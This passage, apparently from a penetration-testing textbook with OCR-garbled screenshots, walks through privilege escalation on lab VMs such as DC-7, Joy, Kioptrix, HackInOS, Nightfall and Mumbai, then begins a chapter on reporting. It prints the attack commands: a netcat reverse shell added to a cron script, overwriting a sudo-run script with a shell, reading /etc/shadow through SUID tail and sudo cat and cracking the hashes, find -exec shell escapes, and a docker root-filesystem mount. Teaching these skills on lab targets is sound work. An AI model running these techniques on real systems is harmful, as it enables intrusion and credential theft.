If you have set up things correctly, then you should receive a connect back
from the DC7 target with root privileges. Upon receiving the connect back
confirm the privileges by executing the id command and viewing the
contents of theflag. txt file in the root user’s home directory.



jp failed: Unknown host
NOWN) [18.6.2.27] 60182
J{root)

theflag.txt
cat theflag. txt

.dasb.

deP YBb 88

Congratulations!!!

Hope you enjoyed DC-7. Just wanted to send a big thanks out 11 those
" rovided feedback, and all those who have taken the time mplete these 1i

Figure 9.4: Success!! DC7 target has been rooted

Well done! You have successfully obtained administrative privileges on the
DC7 target.

Take notes on the observations made.
Observation Notes:

IP address: 10.0.2.27
Operating System: Linux (Debian 10 based)
Open Ports & Services:

e 22/tcp - SSH

o OpenSSH 7.4p1 (gathered from service banner)

o SSH allows login for dc7user using the credentials found on
GitHub page.

o Bash script /opt/scripts/backup.sh used to backup website and
sql database.

o Cron is being used to run the backup.sh script periodically.



o Backup.sh script can be modified by the root user or users
belonging to the www-data group.

» The script was appended with a netcat reverse shell payload
to obtain root privileges.

o Drush is being used to administer Drupal
e 80/tcp - HTTP

o Apache 2.4.25 (gathered from service banner)
= Found robots.txt

o Drupal 8 (gathered from page source)
» Admin password changed to ‘admin123’

= PHP Filter module was uploaded and enabled to allow
custom PHP code execution.

= PHP reverse shell was uploaded to the server.

Z Reverse connection established with privileges of www-
data user.

o Internet handle @DC7user on the main page

» Google search of the handle revealed Twitter and Github
accounts.

» Found source-code and credentials ‘dc7user and
‘MdR3xOgB7#dW’

» /opt/scripts/backups.sh is writable by users belonging to www-data
group

e The script was appended with a netcat reverse shell payload to
obtain root privileges.

Digitalworld.local:Joy

In the previous chapter we exploited a proftpd vulnerability on the Joy
system and obtained shell access using the Metasploit framework, we
further logged into user Patrick’s account using the credentials found while
exploiting the target system.




Before we begin exploring the system further, open up the Metasploit
reverse shell and ‘sudo’ into Patrick’s account.

Let’s begin by checking the list of commands that the user Patrick can run
with administrative privileges.

.'L

g Defaults entries for patrick om JOY:
t ail

L p ot " ]
cure path=susr/local/sbin\:fusrflocal/sbin\: fusr/sbiny: fusr/biny: /sbiny:/bi

User patrick may run the follo commands on JOY:
ALL) iD: fhome/pat fscript/test

Figure 9.5: sudo -1 command output

The output of sudo -1 command shows that patrick can run
/home/patrick/script/test as root. Let’s explore the test file, and see
what we can do with it.

trick/script/test: Permission denied

Figure 9.6: Permission denied while trying to view contents of test file

At this stage an attempt to read the file using the cd command failed with a
permission denied error. Let’s check the file permissions to determine the
cause.

script
: cd: script: Permission denied
; Y=

': Permission denied

Figure 9.7: Checking test file permissions

The user patrick does not have the requisite permissions to enter the script
directory or even perform directory listing on the file.



Anyway, the user Patrick has the requisite sudo permissions to execute the
/home/patrick/script/test file as root so we’ll just have to dive in and
figure the rest out as we go.

patrick@l0Y:~% sudo fhome/patrick/script/test
sudo shome/patrick/script/test

I am practising how to do simple bash scripting!
What file would you like to change permissions within this directory?

Figure 9.8: Executing test script with sudo

The script has been created to change permissions files ostensibly within
the directory, let’s see if we can escape the directory limitation to modify
permissions of the parent directory.

While you can opt to rewrite permissions of the system files such as
/etc/passwd Or /etc/shadow this process will be an inconvenient approach
involving modification of the relevant entries for user patrick or root user.

The shell we are using is not fully interactive so we will not be able to use a
text editor like vim or nano to edit the file. Due to this limitation if we
choose to process with this approach, we will need to either upgrade the
shell to a fully interactive TTY or download the password or shadow file on
the Kali system and re-upload it to the Joy target after modification. This
method involves direct modification of core system files and hence it poses
very serious risk to the target if things were to not go as planned.

Luckily for us, there is a much better and simpler approach, we can use this
to modify the permissions of the parent ‘script’ directory and the ‘test’
script. Once we obtain write permissions, we can overwrite the test script
with our payload.

You now have a workable plan ready, let’s get into action by executing the
command sudo /home/patrick/script/test and change the permissions
to ../script to 777 and then do the same thing for script/test file.



¢ sudo Shome/patrick/script/test
t
I am practising : 0 simple bash scripting!
What file would you like to change permissions within this directory?

.. /script
What permissions would you like to set the file to?

Currently changing file permissions, please wait.

Tidving up...
file would you like to change permissions within this directory?
permissions would you like to set the file to?

Currently changing file permissions, please wait.
idying up...

Done!

patrick@loy:-%

Figure 9.9: Abusing test script functionality to grant read, write and execute permissions to the
script directory and test script

Good, the permissions for the ‘script’ directory and test file have been
changed, let’s confirm by issuing a 1s -1 command.

8 20819 joy.]lpg
1 patrick patrick 11 Aug 29 87:44 test

0Y:-%

Figure 9.10: Performing directory listing of the script directory

The permissions have been successfully modified, we are able to view
contents of the script directory, we can also see that the new permissions
allow us to write the test script.

Let’s overwrite the test script with our payload.

patrick@ 1~% echo fbin/sh -i = script/tes
echo /b -1 = script/test
patrick@loy:~%

Figure 9.11: Adding privilege escalation payload to test script



Everything has been set up, let’s proceed to execute sudo script/test
command and obtain root access on the target.

patrick@loY:~% sudo script/test

sudo script/test

# id

id

uid=8({root) gid=e(root) groups=8(root)

cd /root
Jroot
# 15
ls
author-secret.txt dovecot.crt dovecot.key proof.txt rootCA. pem
document-generator.sh dovecot.csr permissions.sh rootCA.Key rootCA.srl
# cat proof.txt
cat proof.txt
Never grant sudo permissions on scripts that perform system functions!

Figure 9.12: Success!! We have obtained root access on the Joy target

Congratulations!!! You have successfully rooted the Joy target.

Take notes on the observations made.

Observation Notes:

IP address: 10.0.2.15

Operating System: Linux (Debian 9)
Open Ports & Services:

e 21/tcp FTP

o ProFTPD 1.3.5

» Found listing of wuser patrick’s home directory in
/upload/directory.

z Exploits found

3+ ProFTPd 1.3.5 - 'mod_copy' Command Exe |
exploits/linux/remote/37262.rb

3+ Obtained shell with www-data privileges using
metasploit.

«y» Password for patrick is apollo098765

«3+ ProFTPd 1.3.5 - 'mod_copy' Remote Comm |
exploits/linux/remote/36803.py



Z ProFTPd 1.3.5 - File Copy |
exploits/linux/remote/36742.txt

e 22/tcp SSH

o Dropbear sshd 0.34 (protocol 2.0)
= Exploit found
Z Dropbear SSH 0.34 - Remote Code Execut |
exploits/linux/remote/387.c
e 25/tcp SMTP
o Postfix smtpd package version 3.1.8-0
e 80/tcp HTTP
o Apache httpd 2.4.25, /ossec directory contains web interface
for OSSEC-HIDS

= Exploits found

% Apache 2.4.17 <2.4.38 - 'apache2ctl g |
exploits/linux/local/46676.php

+» Privilege escalation exploit

Z Apache <2.2.34/<2.4.27 - OPTIONS M |
exploits/linux/webapps/42745.py

110/tcp POP3

o Dovecot pop3d package version 1:2.2.27-3

139/tcp netbios-ssn
o Samba smbd package version 2:4.5.16
143/tcp IMAP

o Dovecot imapd package version 1:2.2.27-3

445/tcp netbios-ssn
o Samba smbd package version 2:4.5.16
465/tcp SMTP

o Postfix smtpd package version 3.1.8-0



e 587/tcp SMTP
o Postfix smtpd package version 3.1.8-0

e 993/tcp ssl/imaps?
e 995/tcp ssl/pop3s?
e 123/udp ntp

o NTP v4 (unsynchronized)
e 137/udp netbios-ns
o Samba nmbd netbios-ns package version 2:4.5.16
e 161/udp snmp
o SNMPv1 server; net-snmp SNMPv3 server (public)
e 36969/udp tftp (found using snmpwalk)
o Mapped to patrick’s home directory
e User can execute /home/patrick/script/test as root using sudo.

o Test script is used to modify file permissions.
o Changed permissions of script directory and test script to 777

o Injected /bin/sh -1 payload into the test script to get root
access.

Kioptrix:5
In the last chapter we exploited a vulnerability in the PHPTAX application

to upload a basic webshell on the Kioptrix target, we leveraged this
webshell access to send back a reverse shell connection on port 9877.

Let’s open up the reverse shell on port 9877 and start exploring the Kioptrix
target.

% uname -a
FreeBsSD kioptrix2814 9.0-RELEASE FreeBSD 9.0-RELEASE #8: Tue Jan 3 87:46:30 UTC

2012 root@farrell.cse.buffalo.edu: /usr/obj/usr/src/sys/GENERIC amdé4

Figure 9.13: uname —a output shows the FreeBSD release and version information



Notice that the output of the uname -a command gives us the exact
information on the FreeBSD release installed on the target along with
information on the release date and the processor architecture.

The release date of version 9.0 is shown as Jan 3 2012 which is quite
outdated and may contain security issues, let’s fire up a terminal on Kali
system and look for vulnerabilities in FreeBSD 9.0 using searchsploit.

# searchsploit FreeBsSD 9.8

shellcodes: No Result

Figure 9.14: List of FreeBSD 9.0 exploits

Great, we can see two Kernel exploits for FreeBSD 9.0 which can help us
elevate our privileges to root. However, both of the above exploits are
written in ‘c’ and need to be compiled before we can use them.

Verify whether the GNU C compiler is installed on the target system using
the whereis command.

% whereis gcc
gee: fusr/binfgce Jusr/share/man/manl/gec.l.gz fusr/src/contrib/gec

k2

Figure 9.15: finding gcc

The gce compiler is present on the target, so let’s transfer the exploit from
our kali machine to the remote target.

We will use netcat to transfer the file to the remote system, start a netcat
listener on port 4455 on the Kali system and configure it to read the exploit
file as an input and transmit it once a connection has been established. We
will do this by executing the command below on the Kali system.

nc -lp 4455 <
/usr/share/exploitdb/exploits/freebsd/local/26368.c

Once the listener has been setup on the Kali system move to the Kioptrix
target and setup the receiver to send out the connection to the Kali system



on port 4455 and write the data received to exploit.c file using the
command provided as follows:

nc 10.0.2.238 4455 > exploit.c

If you set up the connection correctly then you should be looking at a
blinking cursor, nothing much happening on both ends. The file has been
transmitted and you can terminate the connection by pressing control-c on
the Kali end.

Caution: Pressing control-c on Kioptrix end will kill the reverse shell
session.

Verify the exploit.c file by viewing the contents using the cat command.

238 4455 > exploit.c

t ./exploit.c

* FreeBsD 9.{06,1}
* by Hunger =fbsd9lul

Figure 9.16: Receiving exploit code using netcat

We have successfully transferred the exploit on our target system. We can
now compile it using the command:
gcc exploit.c -o exploit

-o0 exploit
2: warning: no newline at end of file

wheel 8498 Feb 16 05:08 exploit

Figure 9.17: Compiling the exploit using gcc

The gcc compiler throws a warning that the code does not contain a newline
at the end of the source file, this warning is purely informational and can be
safely ignored. As shown in the screenshot above the 1s -1 command
output shows that the exploit binary has been successfully compiled on the
target.

Run the exploit on the Kioptrix target and issue the id command to verify
privileges.

uid=8{root) gid=0(wheel) egid=88(www) groups=80{(www)




Figure 9.18: Success!! We have obtained root privileges

We have successfully rooted the Kioptrix target.

Take notes on the observations made so far.

Observation Notes:

IP address: 10.0.2.104
Operating System: FreeBSD
Rooted using

Open Ports & Services:
e 80/tcp http

o Apache httpd 2.2.21
o mod ssl/2.2.21

o OpenSSL/0.9.8q

o DAV/2 PHP/5.3.8

o pChart application found:
http://10.0.2.104/pChart2.1.3/index.php

= Exploit found
Z pChart 2.1.3 - Multiple Vulnerabilitie |
exploits/php/webapps/31173.txt
e 8080/tcp http

o Apache httpd 2.2.21
» User-agent required: ‘Mozilla/4.0 Mozilla4 browser’
o mod ssl/2.2.21
o OpenSSL/0.9.8q
o DAV/2 PHP/5.3.8
o PhpTax application found: http://10.0.2.104:8080/phptax/
= Exploits found

Z PhpTax - 'pfilez' Execution Remote Cod |
exploits/php/webapps/21833.rb

z PhpTax 0.8 - File Manipulation 'newval |
exploits/php/webapps/25849.txt



+;» Web-shell uploaded at /phptax/data/rce.php
%+ Netcat did not support execution functionality

+}» Netcat reverse shell obtained for www user using
pentestmonkey perl payload.

+}» phptax 0.8 - Remote Code Execution |
exploits/php/webapps/21665.txt

o FreeBSD Version 9.0 - Privilege escalation exploits available
» /usr/share/exploitdb/exploits/freebsd/local/28718.c
» /usr/share/exploitdb/exploits/freebsd/local/26368.c
= Rooted the target using 26368.c

HackInOS:1

In the last chapter we were successful in elevating our access from a basic
webshell to a reverse shell using the netcat command.

Continuing further, open up the netcat reverse shell that we received on port
9878 in the previous chapter, we will leverage this shell to exploit the
system to obtain privileged access on the HackInOS target.

We will begin the exploration of the target by checking whether the user is
allowed to use any commands as root using sudo.

sudo -1

whereis sudo
suUdo:

Figure 9.19: sudo command failed

The command for sudo listing returned a blank response and checking the
presence of sudo binary using whereis confirmed that it was missing from
the target.

We will have to find other means to escalate our privileges, we will start by
finding all SUID binaries on the target which automatically run with
administrative privileges upon execution. We will use the find command
given below for this:

find / -perm -4000 2>/dev/null



-perm -4080 2=/dev/null

loads$ find / -perm -40880 2>/dev/null

JSbin/mount
JSbinSumount
fbin/fsu

Figure 9.20: Finding SUID binaries

The output of find command came up with a list of binaries with SUID
privileges, all the binaries shown in the list except the tail command are
required to perform administrative activities on the user’s behalf like
changing user’s shell, password, mount and unmount filesystems.

The tail command is used to display the last 10 lines of a text file; we
should be able abuse the SUID functionality to read sensitive system files.

The 10-line limit may present a problem so we will change the limit using
the -n flag and read the /etc/shadow file.

tail -n 100 /etc/shadow

Figure 9.21: Abusing the tail command to view /etc/shadow file



We are able to view the contents of the shadow file which contains all the
password hashes.

Create a text file on the Kali system using nano or any other text editor, and
copy the contents of the shadow file.

GNU nano 4.3 shadow
LHSI ! SFQe/BZLfZVIOVXBmOi255uihSvils/ /OVNpd . PVEVYCL1bWSrF3XTVTFO1ln60yUs

Write Out [ Cut Text Istify Pos
Go To Line

Figure 9.22: Creating a copy of shadow file using the nano text editor

The contents of the file have been copied to a file on our Kali system, we
can now proceed to crack the hashed passwords using john the ripper.
Execute the command in the directory containing the password hashes
execute the command john <filename>.



L 1nu UTF-8
i ass hash (sha3l2crypt, crypt(3) %$6% [SHAS12 256/256 AVXZ 4x])
Cost l (iteration count) is 5080 for all loaded hashes
Will run 2 OpenMP threads
Plnuhtdluq HlTh 11|q

s . st any other key for status
7 candidates buffered for the current salt, minimum 8 needed

candidates buffered for the current salt., minimum & needed
¢ 2 candidates buffered for the current salt, minimum 8

C ly 7 candidates buffered for the current salt, minimum 8
erformance.
Warning: Only 2 candidates buffered for the current salt, minimum 8
erformance.

Ilmost done: ssing the remaining buffered candidate passwords, if any.
1 1 andidates buffered for the current salt, minimum 8 needed

Proceeding with wordlist: /usr/share/john/password.lst, rules:Wordlist
john ( )

23456. . franklin

Use the "--show" option te display all of the cracked passwords reliably
session completed

Figure 9.23: Cracking the hashed passwords using John the ripper
John the ripper was able to crack the root user’s password hash, the

password for the root account is “john”.

Elevating our access on the system with a valid password should be easy.
Use the su - root command, and enter the password when prompted.

sSU - root
Password: ] onn

@lafddlfebB82c:~4

root 27 Feb 28 2019 flag
;~# cat flag

Figure 9.24: Logging in as root using cracked password

Great!!, The HackInOS target has been successfully rooted.
Take notes on the observations made so far.

Observation Notes:



IP address: 10.0.2.4
Operating System: Ubuntu Linux
Open Ports & Services:

e 22/tcp SSH

o OpenSSH 7.2p2 Ubuntu 4ubuntu2.7
o Exploits Found

= OpenSSH  7.2p2 - Username  Enumeration
exploits/linux/remote/40136.py

= OpenSSHd 7.2p2 - Username Enumeration
exploits/linux/remote/40113.txt
e 8000/tcp HTTP

o Apache httpd 2.4.25
o Exploits found

» Apache 24.17 < 2438 - ‘'apache2ctl g
exploits/linux/local/46676.php
= Apache < 2234 / < 2427 - OPTIONS M
exploits/linux/webapps/42745.py
o WordPress 5.0.3
o Exploit found
» WordPress  Plugin  Quick  Page/Post  Redir
exploits/php/webapps/32867 .txt
o http-robots.txt: 2 disallowed entries
= /upload.php
Z page source available on

https://github.com/fatihhcelik/Vulnerable-Machine---
Hint/blob/master/upload.php

+3» GIF and PNG files are allowed, uploaded files are
renamed to md5-hash (filename + random number 1-
100). ext and stored in /uploads directory.

3+ Basic webshell cmd.php with GIF89a tag was
uploaded to the server.



+s» Webserver is running with privileges of user www-
data.

s+ Netcat reverse shell established with privileges of user
www-data.

= /uploads
e SUID binary tail allows reading of sensitive system files.

o Contents of shadow file were read
o Root password cracked using john the ripper.

Sunset:Nightfall

During the previous chapter we obtained ssh access to user matt’s account
after uploading authorized keys in the . ssh directory.

In this chapter we will learn to perform automated privilege escalation
checks using automated local system enumeration scripts such as LinEnum.

Automated scripts such as these perform a quick scan on several common
potential privilege escalation points and provide a high-level overview of
the internal attack surface of the target system in a single run.

We will start by opening the user matt’s ssh session and downloading the
LinEnum. sh scripts to the nightfall target using the wget <urL> provided as
follows:

https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEn
um.sh

Run the LinEnum. sh script on the nightfall target as shown as follows:



natt@nightfall:~-% bash LinEnum.sh

[-] Debug Info

Linux nightfall 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5+debléu2 (2019-08-08) x86
64 GHU/Linux

Figure 9.25: LinEnum output

The LinEnum script takes a few minutes to perform all the checks on the
target system.

Carefully scroll through the script output to identify potential security
weaknesses on the target which can be exploited by us to elevate our access
on the system.

2019 fscripts/find

crontab 43568 Jun 23
ity 14736 May 4

o R I i

2019 /scripts/find

Figure 9.26: LinEnum shows /scripts/find has SUID and SGID permissions assigned



The LinEnum script output shows that /scripts/£ind file has been granted
SUID and SGID permissions by user nightfall, this means that the
/scripts/find command will be executed with user nightfall’s user and
group permissions.

Take a look at the ‘find’ command’s man page. The find command
contains the -exec flag which can be used to execute other commands on
the target, we will abuse this functionality of the find command to break out
into the ‘sh’ shell.

1ightfall:~% /scripts/find -exec sh \;

ome/nightfall/.ssh
worized keys shome/nightfall/.ssh/authorized keys
% cp LinEnum.sh fhome/nightfall/sLinEnum.sh

Figure 9.27: Abusing the find command to execute sh shell with privileges of nightfall user

Great, we can see a $ prompt, run the whoami or id command to confirm
the user you are running the shell as. Preceding screenshot shows that the
shell is running with user nightfall’s privileges.

We need to be able to login as nightfall using ssh so we will repeat the steps
we used earlier:
e Create a .ssh directory wusing the command mkdir
/home/nightfall/.ssh
e Copy over the authorized keys into the .ssh directory using the
command:

Ocp
/home/matt/.ssh/authorized keys/home/nightfall/.ssh/aut

horized keys
e Copy over the LinEnum script using the command
© cp LinEnum.sh /home/nightfall/.ssh/authorized keys

Open a new terminal session and establish ssh access to nightfall’s account
by executing the command ssh nightfall@10.0.2.5.



: # ssh nightfalla LB, i
x nightfall 4.19.08-5-amd64 #1 SMP Debian 4 1'.3?-5+deh1ﬂu2 (2019-88-08) =BE

= uluqlnm_ lnt]Hﬂtd Hlth thH Debian GNU/Linux system are free software;
am are described in the

Deh1+n GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
cable law.
1 15:47:34 ) from 10.9.2.2
¢ 1s -1

1 nightfall nightfall 46631 Sep 15:47 LinEnum.sh
i | 5

fall nightfall 33 Aug 28 28 user.txt
¢ bash LinEnum.sh

-1 Debug Info

Figure 9.28: Logging into the target as user nightfall using SSH and executing LinEnum.sh

We have successfully logged into the system as user nightfall, list out the
contents of the home directory and execute the LinEnum. sh script.

Matching Defaults entries for nightfall o
reset, mail badpass, secure path=/usr cal/sbin\:/usr/local/bin\:/
biny:/usr/bin\;:/sbin\: /bin

User nightfall may run the following commands on nightfall:
(root) NOPASSWD: /fusr/bin/cat

iIsr/bin/cat

Figure 9.29: LinEnum output showing possible privilege escalation via sudo

The LinEnum output shows that user nightfall can run the cat command as

root using sudo. This means that we should be able to read sensitive system
files.



Figure 9.30: Abusing cat command to view contents of the /etc/shadow file

We are able to view the password hashes contained within the shadow file.

Create a text file on the Kali system using nano or any other text editor and
copy the contents of the shadow file.

GNU nano 4.3 shadow

Go To Line
Figure 9.31: Creating a copy of shadow file using the nano text editor

Once the contents of the file have been copied to a file on our Kali system,
we can now proceed to crack the hashed passwords using john the ripper.
Execute the command in the directory containing the password hashes
execute the command john <filename>.

Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for p
erformance

Further mess ] typ be suppressed.

slaxKPCWarningCheck®
cand

guel2 )
Proceeding with incremental:ASCII

Figure 9.32: Cracking the password hashes

John the ripper cracked the password for the root account as “miguel2”.

We have a valid root password and should be able to login as root on the
target. Use the su - root command and enter the password when
prompted.



nightfall@nightfall:-% su - root

Password:

root@nightfall:~# 1ls -1

total 8

-fW-r--r-- 1 root root 5460 Aug 28 2019 root super secret flag.txt
root@nightfall:-# cat root super secret flag.txt

Congratulations! Please contact me via twitter and give me some feedback! @white

Figure 9.33: Success!!! We are able to obtain root privileges on the nightfall target using root
credentials

Great! We have successfully obtained root access on the nightfall target.

Take notes on the observations made so far.

Observation Notes:

IP address: 10.0.2.5

Operating System: Debian Linux
Open Ports & Services:

o 21/tep fip

o pyftpdlib 1.5.5
o User:matt Password:cheese (via bruteforce attack using hydra)

o Uploaded authorized keys to .ssh folder inside user matt’s
home directory

o 22/tcp ssh

o OpenSSH 7.9p1 Debian 10 (protocol 2.0)
o Login obtained for user matt using ssh authorized keys.
» Find command has SUID and SGID privileges allowing

» Find command supported -exec flag which allows shell
escape

o Login obtained for user nightfall using ssh authorised keys.
= Nightfall is allowed to run cat command as root using sudo.
Z Shadow file was copied to the Kali system and cracked
+s+ Root password is miguel2

e 80/tcp http



o Apache httpd 2.4.38 ((Debian))
o Exploit found

» Apache 24.17 < 2438 - ‘'apache2ctl g |
exploits/linux/local/46676.php

139/tcp netbios-ssn

o Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
o Found users: matt, nightfall

445/tcp netbios-ssn
o Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3306/tcp mysql

o MySQL 5.5.5-10.3.15-MariaDB-1
o Login denied for user matt

137/udp netbios-ns
o Samba nmbd netbios-ns (workgroup: WORKGROUP)
5353/udp mdns

o DNS-based service discovery

Mumbai:1

In the previous chapter we had obtained a reverse shell connection from the
mumbai target on port 9879 using a command injection vulnerability found
in the test.php api running on port 8000.

We will begin this chapter by downloading the LinEnum.sh script on the
mumbai target using the wget command.



ot be located ’ fbin' 1s not included in the PATH

able.
: command not found
mumbai:~% echo %PATH

Figure 9.34: wget error

Running the wget command directly causes an error as the $PATH variables
used by the system to find the binaries does not contain the requisite entries.
The echo $paTH command confirms that only the /api and /usr/local/bin
directories are included in the PATH variable.

We will need to execute any system binaries by giving the full path instead
of their names that is, ‘/bin/sh’ instead of ‘sh’ and ‘/usr/bin/wget’
instead of ‘wget’.

githubusercontent.com (raw.githubusercontent.com)|151.1681.152.
ed.
awaiting response... 200 0K
(46K} [text/plain]
'LinEnum.sh’

LinEnum.sh Ba% £ 45 54K 157KB/s in @.3s

2020-09-02 97:87:31 (157 - 'LinEnum.sh" saved [46631/46631]

Figure 9.35: Downloading LinEnum.sh from GitHub using wget command

We have downloaded the LinEnum script in the current directory, let’s
execute it using the command /bin/sh ./LinEnum.sh to enumerate the
internal attack surface of our mumbai target.



=g
Matching Defaults

ENY e mail badpas nath=/usr/loc sr/local/bin\: fusr/s
biny:/usr/b

User apiuser may run the fol

(root) NOPASSWD: /Jusr/localsbin/docker

Figure 9.36: docker can be executed by apiuser via sudo

The LinEnum script shows us that the ‘apiuser’ has sudo permissions to
execute docker as root without password.

-2
Docker version 18.89.7, build 2dees3d
CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS NAMES
B root "apache2ctl -D FOREG.." 8 months ago
8 months ago modest goldstine
“apache2ctl -D FOREG.." & months ago
hs ago |
"apachezctl

hs ago

uid=1001(apiuser) gid=108l(apiuser) groups=108l(apiuser),l15(docker)
-

Figure 9.37: apiuser is member of the docker group

The output also shows that the ‘apiuser’ is also a member of the docker
group. The docker group membership gives very similar rights to having
permanent access to run docker any time we want without having to use
root privileges via su or sudo.



affiliates. Other names may be trademarks of their respective

5.7.30-Bubuntuf.18.84.1

ia UNIX socket
gld/ gld.sock
23 hours 9 min 26 sec

1 Questions: 6 S queries: @ Opens: 185 Flush tables: 1 Open tab
Queries per second : )

Figure 9.38: Local MySQL service allows user root to login without password

We also get to know that the MYSQL service available on the server
accepts root login without a password.

Alright so we have potential attack vectors for docker and MYSQL. You
can read an interesting article on detailing the method to carry out privilege
escalation using docker when the user is part of docker group on the link as
follows:

https://fosterelli.co/privilege-escalation-via-docker.html

We will run docker with a run command to create a writable container. The
-it flag specifies an interactive session with a tty attached to it. The -rm
flag directs docker to remove the container when it exits and the -v flag
specifies the volume to bind to the container followed by the executable to

U B cker run =it --rm -v /f:/tmp/mumbai bash
/usr/local/bin/docker run -it --rm -v /:/tmp/mumbai bash
bas 1

), 28(dialout),26(tape), 27

Figure 9.39: Creating a docker container

We have rooted the mumbai system, however the root directory of the
filesystem has been mounted as /tmp/mumbai.

Use the ‘chroot /tmp/mumbai’ command to change the current root
directory to /tmp/mumbai and browse the files within the root user’s home



directory.

-5.8# chroot /Jtmp/mumbal
o/ mumba i
: cannot find name for group ID 11
) run a command as administrator {(user "root"), use "sudo =command=",
= "man sudo root" for details.

t@8afadebf2eec: /# cd /root
ot

o

"

[a:]

y OO 0O O
oo oo
co oo M

T
o0 00 00 00 0O
oo
[#4)

oo 00 @
a

0 O 00 00 & ¢

oo
oo
(]
oo
T
)
om
oo
oo
m
)
m
g

: AbsoZed
Figure 9.40: Success!!! We have obtained root access on Mumbai target

Congratulations! You have successfully rooted the final target.

Take notes on the observations made so far.

Observation Notes:

IP address: 10.0.2.6

Operating System: Ubuntu Linux
Open Ports & Services:

o 21/tep fip

o vsftpd 3.0.3

o Anonymous FTP allowed, file called Note revealed security
issues

e 22/tcp ssh

o OpenSSH 7.6p1 Ubuntu
e 80/tcp http

o Apache httpd 2.4.29



o Exploits found
» Apache 24.17 < 2438 - ‘'apache2ctl g |

exploits/linux/local/46676.php

« Apache < 2234 / < 2427 - OPTIONS M |

exploits/linux/webapps/42745.py

e WordPress 5.2.3
= XMLRPC was enabled which could lead to security issues

= [User absozed found

e 3306/tcp mysql
e 8000/tcp http

o nginx 1.14.0

o .bash* files found suggesting that the web root might be user’s
home directory

Docker container was built by a system user and /api
directory was added to the PATH variable

o API http://10.0.2.6:8000/test.php which executes a python
script keywords.py for producing word count

API is vulnerable to command injection using symbols ; |
and %0a

Netcat did not support execution functionality

Reverse shell obtained reverse shell using command piping
and input/output redirection

apiuser can run docker as root using sudo
apiuser 1s member of docker group

Z Docker vulnerability was exploited by creating a
container and root filesystem was mounted in
/tmp/mumbai within the container

MySQLaccepts root login without password

Conclusion




This chapter covered various tools techniques used to map out the local
attack surface and perform privilege escalation attacks, vulnerabilities on
the target system.

We also delved into automated and manual techniques used in the industry
to obtain administrative access on the target hosts.

The next chapter will focus on documenting the various vulnerabilities
identified on the target hosts, risks and impact of the wvulnerabilities
identified, overview of the activities performed during the penetration test
along with recommendations to fix the vulnerabilities identified.

Questions

1. Which flag did we use in the tail command to increase the number of
lines displayed?

2. Which flag did we use in the find command to break out of the
command and get shell access?

3. What command and flags did we use to transfer files between Kali and
Target systems?

4. Which script did we use to perform automated local privilege
escalation checks on the target?



CHAPTER 10
Reporting

n the previous five chapters we dealt with technical aspects of
Iconducting a penetration test, the process started with identifying the
target systems on the network, and finally culminated in obtaining
administrative access in the previous chapter, during our journey we learnt
about various tools and techniques used in each phase of testing.

Now that the technical phases of the testing are over, we need to learn about
the crucial subject of reporting which involves documenting the issues we
identified during the previous chapters into actionable, concise and most
importantly easily understandable reports.

Structure

The focus of this chapter will be to break-down and explain the core
constituent’s penetration testing report thereby enabling the reader to
succinctly capture the essence of the entire penetration test into a report
which contains the following:

e Project details.

e Scope and limitations.

e Rules of engagement.

e Details of the testing process.

e Multi-level view of the engagement.

e High-and low-level recommendations to mitigate the security issues
identified from a strategic and tactical perspective.

e Do’s and Don’ts of Penetration testing

Objectives

After reading this chapter, you will be able to:




e Understand different stakeholders and their requirements.

e Understand the various sections of the report.

* Create a penetration test report.

e Report walkthrough and discussion.

e Learn few do’s and don’ts about performing penetration testing.
So let's begin.

Reporting

This phase of a penetration test will seem a bit dry and boring to most
readers however it holds utmost importance as this is the final deliverable
that will showcase the tester’s work and justify the client’s spending
towards the entire engagement. To put that in a context any consulting
engagement will only be as good as the deliverable that comes out of it.

At the outset it is extremely crucial to understand the broad types of
stakeholders who will ultimately consume the penetration testing report,
adopting this consumer-centric approach will help us in shaping and
generating a document which satisfies their individual requirements and
provides value to them.

The Stakeholders

During any penetration testing project, or execution, there could be multiple
stakeholder and parties involved, based on the nature, sensitiveness and
business case. It is crucial to know the rules of engagement with each one
of them for a successful execution, and get the maximum benefit out of the
complete exercise. Following are few of those key stakeholders explained:

Executive management:

This audience typically consists of CXOs and members from business or
vertical department heads, the majority of which may not be technically
savvy. The report should contain a dedicated non-technical section for this
audience which summarizes the entire engagement and provides a high-
level view highlighting the number and types of weaknesses observed
during the testing. The report should adopt a risk-based approach such that
the implementation of the mitigation controls can be prioritized effectively.



The members of executive management group have the requisite powers
needed to implement broad and sweeping changes to the security
environment of the organizational policies and procedures hence, the
section designed for executive management should provide effective non-
technical strategies to mitigate the issues at a high level.

Technical Staff:

This group consists of members from various teams such as Infrastructure,
Network, Application, Development and Information Security teams who
are typically responsible for the deployment, upkeep of targets which were
tested. The members of this group also look after the implementation of the
corrective actions recommended in the penetration test report. The report
should contain a dedicated technical section which showcases every
security issue found on the target systems in detail along with the exact
location of the wvulnerability such as port, protocol, service, resource
location, and so on. The report should highlight the impact of every
vulnerability along with specific recommendations to address the issues
identified. Wherever applicable, the vulnerabilities should be highlighted
with appropriate screenshots detailing the attack.

Auditors and Regulatory personnel:

This set of individuals typically look after the organization’s compliance
towards the security policies and industry regulations. The core focus of
this group is to check that security tests are being performed periodically by
competent testers and as per industry standards. The report should contain a
section detailing the test scope, test limitations, testing window, timelines
and detailed methodology along with any testing framework (OSSTMM,
OWASP) used during the test. The next few pages of this chapter will
showcase a sample report created by a fictitious consulting organization
called SecTest for another fictitious client company named ‘Client Corp’,
the scope of this report covers target machines Kioptrix:5 and Mumbai:1
tested by us in the previous chapters.

Do’s and Don’ts of Penetration Testing

Penetration testing could be quite a daunting task, and it’s very common to
make mistakes, or even miss out on steps, tasks. Following is a list of Do’s




and Don’ts that you can keep handy to start with; having said that, this is
not the only finite list of items that you want to follow, the list should be
considered to be more of a guardrail and best practices which we
recommend from our experience of running many penetration testing
projects over the past decades.

The list may change for every project based on the scope and limitations of
the project hence, what may be more useful is to pick and choose the,
instructions for each of your projects.

Do’s

Always prioritize your risk factors:

It 1s a common practice for security teams and professionals to follow a risk
averse approach for any activities, implementations, or testing they do and
Penetration testing is no exception to this. As a penetration tester, you must
assess the probable risks associated with your target or targets, these risks
may be associated with the organization, its business, IT assets, people,
processes they have. While trying to assess the risks, you must try to find
areas that could pose serious threat if exploited.

